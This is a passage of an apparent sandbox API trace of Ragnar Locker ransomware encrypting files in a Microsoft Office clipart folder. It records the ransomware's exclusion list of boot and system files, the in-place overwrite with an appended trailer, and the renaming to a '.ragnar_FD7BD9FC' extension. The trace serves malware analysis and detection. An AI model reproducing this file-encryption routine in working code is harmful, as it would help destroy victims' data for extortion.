lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78be2200, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78be2200, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xfc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00476_.WMF", cAlternateFileName="")) returned 1 [0091.427] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.427] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00476_.WMF" | out: lpString1="SO00476_.WMF") returned="SO00476_.WMF" [0091.427] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF") returned=".WMF" [0091.427] lstrcmpiW (lpString1="SO00476_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.427] lstrcmpiW (lpString1="SO00476_.WMF", lpString2="autorun.inf") returned 1 [0091.427] lstrcmpiW (lpString1="SO00476_.WMF", lpString2="boot.ini") returned 1 [0091.427] lstrcmpiW (lpString1="SO00476_.WMF", lpString2="bootfont.bin") returned 1 [0091.427] lstrcmpiW (lpString1="SO00476_.WMF", lpString2="bootsect.bak") returned 1 [0091.427] lstrcmpiW (lpString1="SO00476_.WMF", lpString2="bootmgr") returned 1 [0091.427] lstrcmpiW (lpString1="SO00476_.WMF", lpString2="bootmgr.efi") returned 1 [0091.427] lstrcmpiW (lpString1="SO00476_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.427] lstrcmpiW (lpString1="SO00476_.WMF", lpString2="desktop.ini") returned 1 [0091.427] lstrcmpiW (lpString1="SO00476_.WMF", lpString2="iconcache.db") returned 1 [0091.427] lstrcmpiW (lpString1="SO00476_.WMF", lpString2="ntldr") returned 1 [0091.427] lstrcmpiW (lpString1="SO00476_.WMF", lpString2="ntuser.dat") returned 1 [0091.427] lstrcmpiW (lpString1="SO00476_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.427] lstrcmpiW (lpString1="SO00476_.WMF", lpString2="ntuser.ini") returned 1 [0091.427] lstrcmpiW (lpString1="SO00476_.WMF", lpString2="thumbs.db") returned -1 [0091.428] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.428] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.428] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.428] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.428] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.428] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.428] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.428] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00476_.wmf")) returned 0x20 [0091.428] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00476_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.428] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4032) returned 1 [0091.428] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xfb7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.428] GetProcessHeap () returned 0x580000 [0091.428] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.428] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.430] VirtualAlloc (lpAddress=0x0, dwSize=0xfc0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.430] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.430] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.430] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xfc0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xfc0, lpOverlapped=0x0) returned 1 [0091.430] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.430] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xfc0, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.430] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xfc0, lpOverlapped=0x0) returned 1 [0091.430] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xfc0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.430] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.431] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xfc0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.431] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.431] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.431] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.431] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.431] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.431] GetProcessHeap () returned 0x580000 [0091.431] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.431] CloseHandle (hObject=0xf4) returned 1 [0091.431] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF" [0091.431] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF.ragnar_FD7BD9FC" [0091.431] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00476_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00476_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.432] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3ef600, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c3ef600, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5b08, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00479_.WMF", cAlternateFileName="")) returned 1 [0091.432] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.432] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00479_.WMF" | out: lpString1="SO00479_.WMF") returned="SO00479_.WMF" [0091.432] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF") returned=".WMF" [0091.432] lstrcmpiW (lpString1="SO00479_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.432] lstrcmpiW (lpString1="SO00479_.WMF", lpString2="autorun.inf") returned 1 [0091.432] lstrcmpiW (lpString1="SO00479_.WMF", lpString2="boot.ini") returned 1 [0091.432] lstrcmpiW (lpString1="SO00479_.WMF", lpString2="bootfont.bin") returned 1 [0091.432] lstrcmpiW (lpString1="SO00479_.WMF", lpString2="bootsect.bak") returned 1 [0091.432] lstrcmpiW (lpString1="SO00479_.WMF", lpString2="bootmgr") returned 1 [0091.432] lstrcmpiW (lpString1="SO00479_.WMF", lpString2="bootmgr.efi") returned 1 [0091.432] lstrcmpiW (lpString1="SO00479_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.432] lstrcmpiW (lpString1="SO00479_.WMF", lpString2="desktop.ini") returned 1 [0091.432] lstrcmpiW (lpString1="SO00479_.WMF", lpString2="iconcache.db") returned 1 [0091.432] lstrcmpiW (lpString1="SO00479_.WMF", lpString2="ntldr") returned 1 [0091.432] lstrcmpiW (lpString1="SO00479_.WMF", lpString2="ntuser.dat") returned 1 [0091.432] lstrcmpiW (lpString1="SO00479_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.432] lstrcmpiW (lpString1="SO00479_.WMF", lpString2="ntuser.ini") returned 1 [0091.432] lstrcmpiW (lpString1="SO00479_.WMF", lpString2="thumbs.db") returned -1 [0091.432] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.433] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.433] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.433] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.433] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.433] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.433] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00479_.wmf")) returned 0x20 [0091.433] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00479_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.433] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=23304) returned 1 [0091.433] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5aff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.433] GetProcessHeap () returned 0x580000 [0091.433] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.433] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.435] VirtualAlloc (lpAddress=0x0, dwSize=0x5b08, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.435] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.435] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.435] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5b08, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5b08, lpOverlapped=0x0) returned 1 [0091.436] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.436] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5b08, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.436] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5b08, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5b08, lpOverlapped=0x0) returned 1 [0091.436] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5b08, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.436] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.437] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5b08, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.437] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.437] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.437] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.437] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.437] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.437] GetProcessHeap () returned 0x580000 [0091.437] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.437] CloseHandle (hObject=0xf4) returned 1 [0091.437] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF" [0091.437] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF.ragnar_FD7BD9FC" [0091.437] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00479_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00479_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.438] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x778cf500, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x778cf500, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2bb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00483_.WMF", cAlternateFileName="")) returned 1 [0091.438] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.438] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00483_.WMF" | out: lpString1="SO00483_.WMF") returned="SO00483_.WMF" [0091.438] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF") returned=".WMF" [0091.438] lstrcmpiW (lpString1="SO00483_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.438] lstrcmpiW (lpString1="SO00483_.WMF", lpString2="autorun.inf") returned 1 [0091.438] lstrcmpiW (lpString1="SO00483_.WMF", lpString2="boot.ini") returned 1 [0091.438] lstrcmpiW (lpString1="SO00483_.WMF", lpString2="bootfont.bin") returned 1 [0091.438] lstrcmpiW (lpString1="SO00483_.WMF", lpString2="bootsect.bak") returned 1 [0091.438] lstrcmpiW (lpString1="SO00483_.WMF", lpString2="bootmgr") returned 1 [0091.438] lstrcmpiW (lpString1="SO00483_.WMF", lpString2="bootmgr.efi") returned 1 [0091.438] lstrcmpiW (lpString1="SO00483_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.438] lstrcmpiW (lpString1="SO00483_.WMF", lpString2="desktop.ini") returned 1 [0091.438] lstrcmpiW (lpString1="SO00483_.WMF", lpString2="iconcache.db") returned 1 [0091.438] lstrcmpiW (lpString1="SO00483_.WMF", lpString2="ntldr") returned 1 [0091.438] lstrcmpiW (lpString1="SO00483_.WMF", lpString2="ntuser.dat") returned 1 [0091.438] lstrcmpiW (lpString1="SO00483_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.438] lstrcmpiW (lpString1="SO00483_.WMF", lpString2="ntuser.ini") returned 1 [0091.438] lstrcmpiW (lpString1="SO00483_.WMF", lpString2="thumbs.db") returned -1 [0091.438] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.438] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.438] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.438] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.438] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.438] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.438] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.439] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00483_.wmf")) returned 0x20 [0091.439] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00483_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.439] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=11192) returned 1 [0091.439] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2baf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.439] GetProcessHeap () returned 0x580000 [0091.439] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.439] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.441] VirtualAlloc (lpAddress=0x0, dwSize=0x2bb8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.441] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.441] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.441] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2bb8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2bb8, lpOverlapped=0x0) returned 1 [0091.441] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.442] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2bb8, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.442] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2bb8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2bb8, lpOverlapped=0x0) returned 1 [0091.442] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2bb8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.442] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.442] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2bb8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.442] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.442] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.442] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.442] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.442] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.442] GetProcessHeap () returned 0x580000 [0091.442] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.442] CloseHandle (hObject=0xf4) returned 1 [0091.442] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF" [0091.442] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF.ragnar_FD7BD9FC" [0091.443] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00483_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00483_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.443] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad09800, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ad09800, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x1e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00486_.WMF", cAlternateFileName="")) returned 1 [0091.443] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", 